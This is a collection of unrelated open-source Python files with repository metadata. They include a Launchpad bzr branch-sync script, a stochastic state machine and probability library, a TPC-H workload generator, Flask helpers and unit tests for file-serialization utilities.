UTF-8
Python
false
false
2,013
3,375,844,304,668
e0cb217fc6a7c783fb96a570234dea9fd284b4fd
63c89d672cb4df85e61d3ba9433f4c3ca39810c8
/python/testdata/launchpad/lib/devscripts/sourcecode.py
5cb66865417170214781a6deed6e7ba7cc950ba8
[ "AGPL-3.0-only", "AGPL-3.0-or-later" ]
non_permissive
abramhindle/UnnaturalCodeFork
https://github.com/abramhindle/UnnaturalCodeFork
de32d2f31ed90519fd4918a48ce94310cef4be97
e205b94b2c66672d264a08a10bb7d94820c9c5ca
refs/heads/master
2021-01-19T10:21:36.093911
2014-03-13T02:37:14
2014-03-13T02:37:14
17,692,378
1
3
AGPL-3.0
false
2020-07-24T05:39:10
2014-03-13T02:52:20
2018-01-05T07:03:31
2014-03-13T02:53:59
24,904
0
3
1
Python
false
false
# Copyright 2009 Canonical Ltd. This software is licensed under the # GNU Affero General Public License version 3 (see the file LICENSE). """Tools for maintaining the Launchpad source code.""" __metaclass__ = type __all__ = [ 'interpret_config', 'parse_config_file', 'plan_update', ] import errno import json import optparse import os import shutil import sys from bzrlib import ui from bzrlib.branch import Branch from bzrlib.errors import ( BzrError, IncompatibleRepositories, NotBranchError, ) from bzrlib.plugin import load_plugins from bzrlib.revisionspec import RevisionSpec from bzrlib.trace import ( enable_default_logging, report_exception, ) from bzrlib.upgrade import upgrade from bzrlib.workingtree import WorkingTree from devscripts import get_launchpad_root def parse_config_file(file_handle): """Parse the source code config file 'file_handle'. :param file_handle: A file-like object containing sourcecode configuration. :return: A sequence of lines of either '[key, value]' or '[key, value, optional]'. """ for line in file_handle: if line == '\n' or line.startswith('#'): continue yield line.split() def interpret_config_entry(entry, use_http=False): """Interpret a single parsed line from the config file.""" branch_name = entry[0] components = entry[1].split(';revno=') branch_url = components[0] if use_http: branch_url = branch_url.replace('lp:', 'http://bazaar.launchpad.net/') if len(components) == 1: revision = None else: assert len(components) == 2, 'Bad branch URL: ' + entry[1] revision = components[1] or None if len(entry) > 2: assert len(entry) == 3 and entry[2].lower() == 'optional', ( 'Bad configuration line: should be space delimited values of ' 'sourcecode directory name, branch URL [, "optional"]\n' + ' '.join(entry)) optional = True else: optional = False return branch_name, branch_url, revision, optional def load_cache(cache_filename): try: cache_file = open(cache_filename, 'rb') except IOError as e: if e.errno == errno.ENOENT: return {} else: raise with cache_file: return json.load(cache_file) def interpret_config(config_entries, public_only, use_http=False): """Interpret a configuration stream, as parsed by 'parse_config_file'. :param configuration: A sequence of parsed configuration entries. :param public_only: If true, ignore private/optional branches. :param use_http: If True, force all branch URLs to use http:// :return: A dict mapping the names of the sourcecode dependencies to a 2-tuple of their branches and whether or not they are optional. """ config = {} for entry in config_entries: branch_name, branch_url, revision, optional = interpret_config_entry( entry, use_http) if not optional or not public_only: config[branch_name] = (branch_url, revision, optional) return config def _subset_dict(d, keys): """Return a dict that's a subset of 'd', based on the keys in 'keys'.""" return dict((key, d[key]) for key in keys) def plan_update(existing_branches, configuration): """Plan the update to existing branches based on 'configuration'. :param existing_branches: A sequence of branches that already exist. :param configuration: A dictionary of sourcecode configuration, such as is returned by `interpret_config`. :return: (new_branches, update_branches, removed_branches), where 'new_branches' are the branches in the configuration that don't exist yet, 'update_branches' are the branches in the configuration that do exist, and 'removed_branches' are the branches that exist locally, but not in the configuration. 'new_branches' and 'update_branches' are dicts of the same form as 'configuration', 'removed_branches' is a set of the same form as 'existing_branches'. """ existing_branches = set(existing_branches) config_branches = set(configuration.keys()) new_branches = config_branches - existing_branches removed_branches = existing_branches - config_branches update_branches = config_branches.intersection(existing_branches) return ( _subset_dict(configuration, new_branches), _subset_dict(configuration, update_branches), removed_branches) def find_branches(directory): """List the directory names in 'directory' that are branches.""" branches = [] for name in os.listdir(directory): if name in ('.', '..'): continue try: Branch.open(os.path.join(directory, name)) branches.append(name) except NotBranchError: pass return branches def get_revision_id(revision, from_branch, tip=False): """Return revision id for a revision number and a branch. If the revision is empty, the revision_id will be None. If ``tip`` is True, the revision value will be ignored. """ if not tip and revision: spec = RevisionSpec.from_string(revision) return spec.as_revision_id(from_branch) # else return None def _format_revision_name(revision, tip=False): """Formatting helper to return human-readable identifier for revision. If ``tip`` is True, the revision value will be ignored. """ if not tip and revision: return 'revision %s' % (revision,) else: return 'tip' def get_branches(sourcecode_directory, new_branches, possible_transports=None, tip=False, quiet=False): """Get the new branches into sourcecode.""" for project, (branch_url, revision, optional) in new_branches.iteritems(): destination = os.path.join(sourcecode_directory, project) try: remote_branch = Branch.open( branch_url, possible_transports=possible_transports) except BzrError: if optional: report_exception(sys.exc_info(), sys.stderr) continue else: raise possible_transports.append( remote_branch.bzrdir.root_transport) if not quiet: print 'Getting %s from %s at %s' % ( project, branch_url, _format_revision_name(revision, tip)) # If the 'optional' flag is set, then it's a branch that shares # history with Launchpad, so we should share repositories. Otherwise, # we should avoid sharing repositories to avoid format # incompatibilities. force_new_repo = not optional revision_id = get_revision_id(revision, remote_branch, tip) remote_branch.bzrdir.sprout( destination, revision_id=revision_id, create_tree_if_local=True, source_branch=remote_branch, force_new_repo=force_new_repo, possible_transports=possible_transports) def find_stale(updated, cache, sourcecode_directory, quiet): """Find branches whose revision info doesn't match the cache.""" new_updated = dict(updated) for project, (branch_url, revision, optional) in updated.iteritems(): cache_revision_info = cache.get(project) if cache_revision_info is None: continue if cache_revision_info[0] != int(revision): continue destination = os.path.join(sourcecode_directory, project) try: branch = Branch.open(destination) except BzrError: continue if list(branch.last_revision_info()) != cache_revision_info: continue if not quiet: print '%s is already up to date.' % project del new_updated[project] return new_updated def update_cache(cache, cache_filename, changed, sourcecode_directory, quiet): """Update the cache with the changed branches.""" old_cache = dict(cache) for project, (branch_url, revision, optional) in changed.iteritems(): destination = os.path.join(sourcecode_directory, project) branch = Branch.open(destination) cache[project] = list(branch.last_revision_info()) if cache == old_cache: return with open(cache_filename, 'wb') as cache_file: json.dump(cache, cache_file, indent=4, sort_keys=True) if not quiet: print 'Cache updated. Please commit "%s".' % cache_filename def update_branches(sourcecode_directory, update_branches, possible_transports=None, tip=False, quiet=False): """Update the existing branches in sourcecode.""" if possible_transports is None: possible_transports = [] # XXX: JonathanLange 2009-11-09: Rather than updating one branch after # another, we could instead try to get them in parallel. for project, (branch_url, revision, optional) in ( update_branches.iteritems()): # Update project from branch_url. destination = os.path.join(sourcecode_directory, project) if not quiet: print 'Updating %s to %s' % ( project, _format_revision_name(revision, tip)) local_tree = WorkingTree.open(destination) try: remote_branch = Branch.open( branch_url, possible_transports=possible_transports) except BzrError: if optional: report_exception(sys.exc_info(), sys.stderr) continue else: raise possible_transports.append( remote_branch.bzrdir.root_transport) revision_id = get_revision_id(revision, remote_branch, tip) try: result = local_tree.pull( remote_branch, stop_revision=revision_id, overwrite=True, possible_transports=possible_transports) except IncompatibleRepositories: # XXX JRV 20100407: Ideally remote_branch.bzrdir._format # should be passed into upgrade() to ensure the format is the same # locally and remotely. Unfortunately smart server branches # have their _format set to RemoteFormat rather than an actual # format instance. upgrade(destination) # Upgraded, repoen working tree local_tree = WorkingTree.open(destination) result = local_tree.pull( remote_branch, stop_revision=revision_id, overwrite=True, possible_transports=possible_transports) if result.old_revid == result.new_revid: if not quiet: print ' (No change)' else: if result.old_revno < result.new_revno: change = 'Updated' else: change = 'Reverted' if not quiet: print ' (%s from %s to %s)' % ( change, result.old_revno, result.new_revno) def remove_branches(sourcecode_directory, removed_branches, quiet=False): """Remove sourcecode that's no longer there.""" for project in removed_branches: destination = os.path.join(sourcecode_directory, project) if not quiet: print 'Removing %s' % project try: shutil.rmtree(destination) except OSError: os.unlink(destination) def update_sourcecode(sourcecode_directory, config_filename, cache_filename, public_only, tip, dry_run, quiet=False, use_http=False): """Update the sourcecode.""" config_file = open(config_filename) config = interpret_config( parse_config_file(config_file), public_only, use_http) config_file.close() cache = load_cache(cache_filename) branches = find_branches(sourcecode_directory) new, updated, removed = plan_update(branches, config) possible_transports = [] if dry_run: print 'Branches to fetch:', new.keys() print 'Branches to update:', updated.keys() print 'Branches to remove:', list(removed) else: get_branches( sourcecode_directory, new, possible_transports, tip, quiet) updated = find_stale(updated, cache, sourcecode_directory, quiet) update_branches( sourcecode_directory, updated, possible_transports, tip, quiet) changed = dict(updated) changed.update(new) update_cache( cache, cache_filename, changed, sourcecode_directory, quiet) remove_branches(sourcecode_directory, removed, quiet) # XXX: JonathanLange 2009-09-11: By default, the script will operate on the # current checkout. Most people only have symlinks to sourcecode in their # checkouts. This is fine for updating, but breaks for removing (you can't # shutil.rmtree a symlink) and breaks for adding, since it adds the new branch # to the checkout, rather than to the shared sourcecode area. Ideally, the # script would see that the sourcecode directory is full of symlinks and then # follow these symlinks to find the shared source directory. If the symlinks # differ from each other (because of developers fiddling with things), we can # take a survey of all of them, and choose the most popular. def main(args): parser = optparse.OptionParser("usage: %prog [options] [root [conffile]]") parser.add_option( '--public-only', action='store_true', help='Only fetch/update the public sourcecode branches.') parser.add_option( '--tip', action='store_true', help='Ignore revision constraints for all branches and pull tip') parser.add_option( '--dry-run', action='store_true', help='Do nothing, but report what would have been done.') parser.add_option( '--quiet', action='store_true', help="Don't print informational messages.") parser.add_option( '--use-http', action='store_true', help="Force bzr to use http to get the sourcecode branches " "rather than using bzr+ssh.") options, args = parser.parse_args(args) root = get_launchpad_root() if len(args) > 1: sourcecode_directory = args[1] else: sourcecode_directory = os.path.join(root, 'sourcecode') if len(args) > 2: config_filename = args[2] else: config_filename = os.path.join(root, 'utilities', 'sourcedeps.conf') cache_filename = os.path.join( root, 'utilities', 'sourcedeps.cache') if len(args) > 3: parser.error("Too many arguments.") if not options.quiet: print 'Sourcecode: %s' % (sourcecode_directory,) print 'Config: %s' % (config_filename,) enable_default_logging() # Tell bzr to use the terminal (if any) to show progress bars ui.ui_factory = ui.make_ui_for_terminal( sys.stdin, sys.stdout, sys.stderr) load_plugins() update_sourcecode( sourcecode_directory, config_filename, cache_filename, options.public_only, options.tip, options.dry_run, options.quiet, options.use_http) return 0
UTF-8
Python
false
false
2,014
6,365,141,534,739
c6035f823ff66418d3ac3c74ef57e97c5ed20177
98c46168e904b48482d7222b8d6b013ed50bfe86
/ssm.py
debc125c2d62ac3cc168abaf9d5dd7c441d9aa16
[]
no_license
bboyjacks/Python-Codes
https://github.com/bboyjacks/Python-Codes
4beae70bcca75c2873621df73fccebf54752656b
46ca5f7c2d46e75c1d69cc72fec8f8c6578e89e1
refs/heads/master
2016-09-06T11:41:47.980675
2014-06-21T04:37:38
2014-06-21T04:37:38
null
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
#-----------STOCHASTIC STATE MACHINE---------------- # # The following library implements discrete distributions, # stochastic state machines and state estimators. # # # Scott's Note: This project was not fully completed, as the SSM # only works without input, since a fully generalized JDist class # wasn't created. It's only a demonstration, so full testing suites # and correct modularization have also not been fully implemented # #--------------------------------------------------- import sm import random #-----Discrete Distribution---------- # The following class stores discrete distributions # by using a dictionary which associates events and # their probabilities #------------------------------------ class DDist(): def __init__(self, dictionary): self.d = dictionary #returns the probability of an event def prob(self, event): if event in self.d: p = self.d[event] else: p = 0 return p #returns a list of all possible events def support(self): return [k for k in self.d.keys() if self.prob(k) > 0] #draws an element from the distribution def draw(self): r = random.random() probSum = 0.0 for event in self.support(): probSum += self.prob(event) if r < probSum: return event print "Error: draw() failed to find an event." return None def output(self): for k in self.support(): print k,": ",self.d[k],"\n" def testSuite_DDist(): chance = 1.0/6.0 die = DDist({1:chance,2:chance,3:chance,4:chance,5:chance,6:chance}) weightedDie = DDist({1:chance/2,2:chance/2,3:chance,4:chance,5:chance*2,6:chance*2}) print die.support() for i in range(10): print die.draw() for i in range(10): print weightedDie.draw() #------JOINT DISTRIBUTION-------------- # This class allows you to create a joint distribution # given a distribution and a function for calculating # the conditional distribution given that distribution #-------------------------------------- class JDist(DDist): #Takes a distribution of a random variable and the #function which determines the conditional distribution def __init__(self, pA, pBgivenA): self.d = {} possibleAs = pA.support() for a in possibleAs: conditional = pBgivenA(a) for b in conditional.support(): self.d[(a,b)] = pA.prob(a)*conditional.prob(b) #returns the individual distribution of just one of the #two random variable components def marginalizeOut(self, variable): newD = {} for event in self.d.keys(): newEvent = removeElt(event, variable) incrDictEntry(newD, newEvent, self.prob(event)) return(DDist(newD)) #returns the distribution of a variable, given the value #of the other variable def conditionOn(self, variable, value): newD = {} totalProb = 0.0 #first construct an incomplete distribution, with only #the joint probabilities of valued elements for event in self.d.keys(): if event[variable] == value: indivProb = self.d[event] totalProb += indivProb newEvent = removeElt(event, variable) newD[newEvent] = indivProb #divide by the total sub-probability to ensure all #probabilities sum to 1 for subEvent in newD.keys(): newD[subEvent] /= totalProb return(DDist(newD)) def output(self): for event in self.d.keys(): print "Event ",event," has a ",self.prob(event)," probability." def removeElt(items, i): result = items[:i] + items[i+1:] if len(result)==1: return result[0] else: return result def incrDictEntry(d, k, v): if d.has_key(k): d[k] += v else: d[k] = v def testSuite_JDist(): pIll = DDist({'disease':.01, 'no disease':.99}) def pSymptomGivenIllness(status): if status == 'disease': return(DDist({'cough':.9, 'none':.1})) elif status == 'no disease': return(DDist({'cough':.05, 'none':.95})) jIllnessSymptoms = JDist(pIll, pSymptomGivenIllness) jIllnessSymptoms.output() dSymptoms = jIllnessSymptoms.marginalizeOut(0) print "Symptoms include: \n", dSymptoms.d symptomsGivenIll = jIllnessSymptoms.conditionOn(0,'no disease') print "Symptoms given no disease: \n", symptomsGivenIll.d #===================STOCHASTIC STATE MACHINE=================== class SSM(sm.SM): def __init__(self, prior, transition, observation): self.prior = prior self.transition = transition self.observation = observation def startState(self): return self.prior.draw() def getNextValues(self, state, inp): return(self.transition(inp)(state).draw(), self.observation(state).draw()) def testSuite_SSM(): prior = DDist({'good':0.9, 'bad':0.1}) def observationModel(state): if state == 'good': return DDist({'perfect':0.8, 'smudged':0.1, 'black':0.1}) else: return DDist({'perfect':0.1, 'smudged':0.7, 'black':0.2}) def transitionModel(input): def transitionGivenInput(oldState): if oldState == 'good': return DDist({'good':0.7, 'bad':0.3}) else: return DDist({'good':0.1, 'bad':0.9}) return transitionGivenInput copyMachine = SSM(prior,transitionModel,observationModel) print copyMachine.transduce(['copy']*20) #==========STOCHASTIC STATE ESTIMATOR============== class SSE(sm.SM): def __init__(self, machine): self.machine = machine self.startState = machine.prior self.transitionModel = machine.transition self.observationModel = machine.observation #Keep in mind for a Stochastic State Estimator the input #must be the last observed value and the state is the Bayesian #Machine's degree of belief, expressed as a probability distribution #over all known internal states belonging to the SSM def getNextValues(self, state, inp): #First, calculate an updated belief of the last state, given #the known output #Calculates Pr(S|O = obs) belief = JDist(state, self.observationModel).conditionOn(1, inp) #Second, run the belief state through the transition model #to predict the current state of the machine n=0 partialDist={} for possibility in belief.d.keys(): #go through all states partialDist[n] = self.transitionModel(0)(possibility).d #figure out what would happen, were you in that state for event in partialDist[n].keys(): partialDist[n][event] *= belief.prob(possibility) #multiply by the chance you actually were in that state n+=1 totalDist = partialDist[0] for event in partialDist[0].keys(): for count in range(1, n): totalDist[event] += partialDist[count][event] #sum up the partial probabilities beliefPrime = DDist(totalDist) return (beliefPrime, beliefPrime) def testSuite_SSE(): prior = DDist({'good':0.9, 'bad':0.1}) def observationModel(state): if state == 'good': return DDist({'perfect':0.8, 'smudged':0.1, 'black':0.1}) else: return DDist({'perfect':0.1, 'smudged':0.7, 'black':0.2}) def transitionModel(input): def transitionGivenInput(oldState): if oldState == 'good': return DDist({'good':0.7, 'bad':0.3}) else: return DDist({'good':0.1, 'bad':0.9}) return transitionGivenInput copyMachine = SSM(prior,transitionModel,observationModel) copyEstimator = SSE(copyMachine) copyMachine.start() copyEstimator.start() for n in range(20): observation = copyMachine.step("copy") print "Copy machine => ", observation belief = copyEstimator.step(observation) print "Estimate of copier's status: \n", belief.output(),"\n\n" #============================MAIN============================== def main(): testSuite_SSE() print "Program complete." #This will run the testing suite if the program is run directly if __name__ == '__main__': main()
UTF-8
Python
false
false
2,014
5,325,759,464,469
49f596c1d187547f7da2045cd96a2dcfcf72a6fc
9e6f5a5402d4cd670c562aa542eb597c31d87711
/create_query_set.py
dd46024b999a93faaa77b40f406753cf9e982e27
[]
no_license
pwendell/tpch
https://github.com/pwendell/tpch
7b3ed6f9aa57df8ddd424c89444fa02e495723ec
cf54fdd97c4859a79af0df93d04f27854c988187
refs/heads/master
2021-01-16T00:22:13.816471
2013-10-21T18:12:42
2013-10-21T18:12:42
null
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
import random TIMES_PER_QUERY=500 NUM_PERMUTATIONS=15 random.seed(12345) def get_file(filename): return "".join(open(filename).readlines()) queries_to_add = ["denorm_tpch/q3_shipping_priority_confirmed.hive", "denorm_tpch/q4_order_priority_confirmed.hive", "denorm_tpch/q6_forecast_revenue_change_confirmed.hive", # "denorm_tpch/q2_minimum_cost_supplier_confirmed.hive", "denorm_tpch/q12_shipping_confirmed.hive"] denorm = get_file("make_denorm_cached.hql") for x in range(NUM_PERMUTATIONS): f = open("workloads/tpch_workload_%s" % (x + 1), 'w') f.write(denorm) for k in range(TIMES_PER_QUERY): random.shuffle(queries_to_add) for q in queries_to_add: query = get_file(q) f.write(query) f.close()
UTF-8
Python
false
false
2,013
1,803,886,286,237
e97d43803256d8e9d1bd3e25f8291350d309c58a
6f90574191e757f3a09e29230539efa73ce10a0a
/spoj/python/toandfro.py
152bba20118755037889cca916706dfa6b49688a
[]
no_license
importerror/programming-contests
https://github.com/importerror/programming-contests
e4642def717787ec071de506ad4befe166a94881
0979a4ce3c270ae49e514ad1b6ede48c6cdf82a2
refs/heads/master
2021-05-27T05:47:22.369856
2013-01-05T02:49:41
2013-01-05T02:49:41
null
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
#!/usr/bin/env python from array import array size = int(raw_input()) while size: line = array('c', ' '+raw_input()) res = '' down = 1 max = len(line) - 1 up = max / size twsize = size*2 for _ in xrange(size): pos = twsize + 1 res += line[down] for _ in xrange(up): if pos - down > max: break res += line[pos - down] if pos + down - 1 <= max: res += line[pos + down - 1] pos += twsize down += 1 print res size = int(raw_input())
UTF-8
Python
false
false
2,013
16,827,681,898,148
fe58d4cfd4790bd248dcdc849fc1b00a6add1bfa
fbd0aa68bdbb32fa9416617fa89725a948bc830b
/tests/lib/util/io/tests.py
17391b5641bc85a80be97863d633a1c98c4a4925
[ "GPL-2.0-only", "LicenseRef-scancode-unknown-license-reference" ]
non_permissive
hacklabcz/pearl
https://github.com/hacklabcz/pearl
e0aed48fec6c9a13a6b4b043799b0a5c5db995c6
657b101fc58c9549341ff5db78a96e9d1ddf8759
refs/heads/master
2021-01-18T12:03:33.482205
2013-02-17T14:02:43
2013-02-17T14:02:43
null
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
#!/usr/bin/python import unittest import os import random from util.io import append_entry, get_entry, remove_entry, get_list, get_len from util.io import DirectoryPathError from util.io import Property class SerializeTestCase(unittest.TestCase): def setUp(self): self.path = '/tmp/serial_object' self.el1 = [1,3.4, 'ciao'] self.el2 = {1:['el'], '2':23} def tearDown(self): """ Deletes the file for the next tests. """ if os.path.exists(self.path): os.system('rm '+ self.path) ########### POSITIVE TESTS ########## def test_sanity_check(self): """ Checks out if the initial elements that'll be appended into the file are equals to the elements returned by the get_entry method. """ append_entry(self.path, self.el1) append_entry(self.path, self.el2) el1 = get_entry(self.path, 0) el2 = get_entry(self.path, 1) self.assertEqual(el1, self.el1) self.assertEqual(el2, self.el2) def test_append_and_remove_entry(self): """ Checks out if after removing entries the remained elements are corrects """ for i in range(10): append_entry(self.path, self.el1) append_entry(self.path, self.el2) num_el_to_remove = random.randint(0,19) for i in range(num_el_to_remove): remove_entry(self.path, random.randint(0, get_len(self.path)-1)) self.assertEqual(20-num_el_to_remove, get_len(self.path)) ########### NEGATIVE TESTS ########## def test_path_not_string(self): """ The functions raise AttributeError whether the path is not a string. """ self.assertRaises(AttributeError, append_entry, 2, self.el1) self.assertRaises(AttributeError, remove_entry, 2, self.el1) self.assertRaises(AttributeError, get_entry, 2, self.el1) self.assertRaises(AttributeError, get_list, 2) self.assertRaises(AttributeError, get_len, 2) def test_is_directory(self): """ Checks out if the function raises Exception when the path specified is a directory. Test on append_entry, remove_entry, get_index_, get_list """ self.assertRaises(DirectoryPathError, append_entry, '/tmp/', self.el1) self.assertRaises(DirectoryPathError, remove_entry, '/tmp/', self.el1) self.assertRaises(DirectoryPathError, get_entry, '/tmp/', self.el1) self.assertRaises(DirectoryPathError, get_list, '/tmp/') self.assertRaises(DirectoryPathError, get_len, '/tmp/') def test_out_of_range(self): """ Checks out if the index specified by the user is out of range raising the exception """ append_entry(self.path, self.el1) append_entry(self.path, self.el2) append_entry(self.path, self.el1) append_entry(self.path, self.el2) self.assertRaises(IndexError, get_entry, self.path, -1) self.assertRaises(IndexError, get_entry, self.path, 4) self.assertRaises(IndexError, remove_entry, self.path, -1) self.assertRaises(IndexError, remove_entry, self.path, 4) pass class PropertyTestCase(unittest.TestCase): def setUp(self): self.path = '/tmp/prop_file' f = open(self.path, 'w') f.write('# qst e\' una prova\n') f.write('var = "value"') f.close() self.prop = Property(self.path) self.path_sess = '/tmp/prop_file_session' self.path_sess_dir = '/tmp/prop_file_session.d' f = open(self.path_sess, 'w') f.write('# qst e\' una prova\n') f.close() os.mkdir(self.path_sess_dir) f_s = open(self.path_sess_dir+'/test', 'w') f_s.write('var = 45') f_s.close() self.prop_sess = Property(self.path_sess, True) def tearDown(self): """ Deletes the file for the next tests. """ if os.path.exists(self.path): os.system('rm '+ self.path) if os.path.exists(self.path_sess_dir): os.system('rm -rf '+ self.path_sess_dir) def test_get_prop(self): el = self.prop.get('var') self.assertEqual(el, 'value') def test_get_error(self): el = self.prop.get('var_not_exist') self.assertEqual(el, None) def test_get_prop_sess(self): el = self.prop_sess.get('var', 'test') self.assertEqual(el, 45) def test_get_error_sess(self): el = self.prop_sess.get('var_not_exist') self.assertEqual(el, None) if __name__=='__main__': unittest.main()
UTF-8
Python
false
false
2,013
12,764,642,832,362
f76b66a49c0ee4ea0b19db87c8fb46886156eaa6
64fb7c0c2f91c6e8d19dac7cde5f79a7d0fa852a
/flask_databrowser/data_browser.py
8113655e8851a9d54b702ddd347f57fa1a741cff
[]
no_license
PuZheng/Flask-DataBrowser
https://github.com/PuZheng/Flask-DataBrowser
cf006b6c4997347ff4fa355ef5eee70052d7dfe8
cc116e4c96a57b23cc25a1709154a65c87ea3a7d
refs/heads/master
2020-06-26T08:35:09.179020
2014-06-10T05:12:34
2014-06-10T05:12:34
null
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
#-*- coding:utf-8 -*- import os from flask import request, Blueprint from flask.ext.principal import PermissionDenied from flask.ext.databrowser.col_spec import LinkColumnSpec from flask.ext.databrowser.utils import (url_for_other_page, urlencode_filter, truncate_str) from flask.ext.databrowser.constants import (WEB_PAGE, WEB_SERVICE, BACK_URL_PARAM) class DataBrowser(object): def __init__(self, app, logger=None, upload_folder='uploads', plugins=None): self.logger = logger or app.logger self.blueprint = Blueprint("data_browser__", __name__, static_folder="static", template_folder="templates") for plugin in (plugins or []): self._enable_plugin(plugin) self.app = app self._init_app() self.__registered_view_map = {} self.upload_folder = upload_folder if not os.path.exists(upload_folder): os.makedirs(upload_folder) def _init_app(self): self.app.jinja_env.globals['url_for_other_page'] = url_for_other_page self.app.jinja_env.filters['urlencode'] = urlencode_filter self.app.jinja_env.filters['truncate'] = truncate_str # register it for using the templates of data browser self.app.register_blueprint(self.blueprint, url_prefix="/data_browser__") def register_modell(self, modell, blueprint=None): from flask.ext.databrowser.model_view import ModelView return self.register_model_view(ModelView(modell), blueprint) def register_model_view(self, model_view, blueprint, extra_params=None): model_view.blueprint = blueprint model_view.data_browser = self model_view.extra_params = extra_params or {} if model_view.serv_type & WEB_PAGE: model_view.add_page_url_rule() #if model_view.serv_type & WEB_SERVICE: # model_view.add_api_url_rule() blueprint.before_request(model_view.before_request_hook) blueprint.after_request(model_view.after_request_hook) self.__registered_view_map[model_view.modell.token] = model_view def get_object_link_column_spec(self, modell, label=None): try: model_view = self.__registered_view_map[modell.token] model_view.try_view(modell) #TODO no link here return LinkColumnSpec(col_name=model_view.modell.primary_key, formatter=lambda v, obj: model_view.url_for_object(obj, label=label, url=request.url), anchor=lambda v: unicode(v), label=label) except (KeyError, PermissionDenied): return None def search_create_url(self, modell, target, on_fly=1): try: model_view = self.__registered_view_map[modell.token] model_view.try_create() import urllib2 return model_view.url_for_object(None, on_fly=on_fly, target=target) except (KeyError, PermissionDenied): return None def search_obj_url(self, modell): ''' note!!! it actually return an object url generator ''' try: model_view = self.__registered_view_map[modell.token] def f(pk): obj = modell.query.get(pk) try: model_view.try_view([model_view.expand_model(obj)]) return model_view.url_for_object(obj, **{BACK_URL_PARAM: request.url}) except PermissionDenied: return None return f except (KeyError, PermissionDenied): return None def _enable_plugin(self, plugin_name): pkg = __import__('flask_databrowser.plugins.' + plugin_name, fromlist=[plugin_name]) pkg.setup(self) def grant_all(self, identity): for model_view in self.__registered_view_map.values(): model_view.grant_all(identity)
UTF-8
Python
false
false
2,014
1,468,878,843,606
f7ac6db97dc5a0cc4f81035da5542daec96f554b
d93bb6491d569e53c48db40174ba30cab6c4c7ce
/apps/qp/admin.py
56d2e46bd7e5e2953eb8375e49b625a5dc915e8f
[]
no_license
ptraverse/quidprize
https://github.com/ptraverse/quidprize
8c9878cc264cd5ed4e1a2e5f8de39b93b9e8b402
d1ba09c66add97ab7f5d3813d0de75da0e306259
refs/heads/master
2020-12-01T11:43:04.034481
2014-06-01T02:25:27
2014-06-01T02:25:27
15,962,873
0
1
null
null
null
null
null
null
null
null
null
null
null
null
null
from apps.qp.models import * from django.contrib import admin class BusinessAdmin(admin.ModelAdmin): fieldsets = ( (None, { 'fields': ('auth_user', 'name', 'logo','contact_person', 'contact_phone') }), ) class DocumentAdmin(admin.ModelAdmin): fieldsets = ( (None, { 'fields': ('docfile', ) }), ) class RaffleAdmin(admin.ModelAdmin): fieldsets = ( (None, { 'fields': ('business', 'target_url', 'date_created', 'expiry_date') }), ) class TicketAdmin(admin.ModelAdmin): fieldsets = ( (None, { 'fields': ('raffle', 'hash', 'activation_email', 'date_activated', 'parent_ticket', 'is_root_ticket') }), ) admin.site.register(Business, BusinessAdmin) admin.site.register(Document, DocumentAdmin) admin.site.register(Raffle, RaffleAdmin) admin.site.register(Ticket, TicketAdmin)
UTF-8
Python
false
false
2,014
12,549,894,480,273
66707b275d14f83fbbd745ee58d99e2f4e479183
dace78ced39f4596edcb5cfe998dfcb3dd49e231
/problem005.py
1afe69cb367eaae2f224cabddf585e876e22252d
[]
no_license
Torqueware/Project-Euler
https://github.com/Torqueware/Project-Euler
33fe50d7eae8a36326d9821a622ed30f3d40f97b
4296e2ce0495543f4214623118c49b646d9c6119
refs/heads/master
2016-09-08T01:17:22.896979
2014-11-06T01:32:23
2014-11-06T01:32:23
null
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
#!/usr/bin/python3.3 import math #answer math.factorial(20) answer = 2*3*4*5*6*7*11*13*17*19 divisors = [20,19,18,17,16,15,14,13,12,11,10,9,8,7,6,5,4,3,2] #primes 1 2 3 5 7 # 11 13 17 19 #total 1 2 3 4 5 6 7 8 9 10 # 11 12 13 14 15 16 17 18 19 20 def divisible(n): for x in divisors: if n%x != 0: return False return True for n in range(answer, 0, -1): if divisible(n): print(n) answer = n
UTF-8
Python
false
false
2,014
16,965,120,828,225
dc2a765395402c894b389b72487d64bcf1971c78
e2ef034089b58b68f4068237cdce64b8222aa89f
/g.py
307b67ce42e493083dbefcaa99b3b9906c701f5e
[]
no_license
nisiotis/flask_app
https://github.com/nisiotis/flask_app
36c35b18b40b1dea1c67fed2d49d84cfa9361014
c07afa28b09c496eb41e721f61ccbaf9fe4a35da
refs/heads/master
2021-01-19T06:20:06.785145
2013-06-27T11:42:02
2013-06-27T11:42:02
null
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
def do_g(): from flask import send_file from flask import Response from matplotlib.pyplot import figure from matplotlib.backends.backend_agg import FigureCanvasAgg as FigureCanvas fig1 = figure(figsize=(5.33,4), facecolor = 'white') ax = fig1.add_axes([0.02,0.02,0.98,0.98], aspect='equal') # Some plotting to ax canvas=FigureCanvas(fig1) res = Response(response = send_file(canvas.savefig('test.png'), mimetype="image/png"), status=200, mimetype="image/png") fig1.clear() return res
UTF-8
Python
false
false
2,013
8,452,495,643,057
c2aceb96047998c29f623023ca7972b9103c7e61
03bee32ab472d08388deb3d4896b37752c769f2b
/Forest/pandaForest.py
cb7bfcd5175c629263f1faecf538017f62235887
[]
no_license
mitsubachimaya/Kaggle
https://github.com/mitsubachimaya/Kaggle
91799ccd0e6e7343f64f74fbc48356b2654c0b76
abb33ed51c1fa93beeb3ff5e2f3623487b3c6073
refs/heads/master
2021-09-27T05:21:29.640769
2014-11-26T21:05:45
2014-11-26T21:05:45
null
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
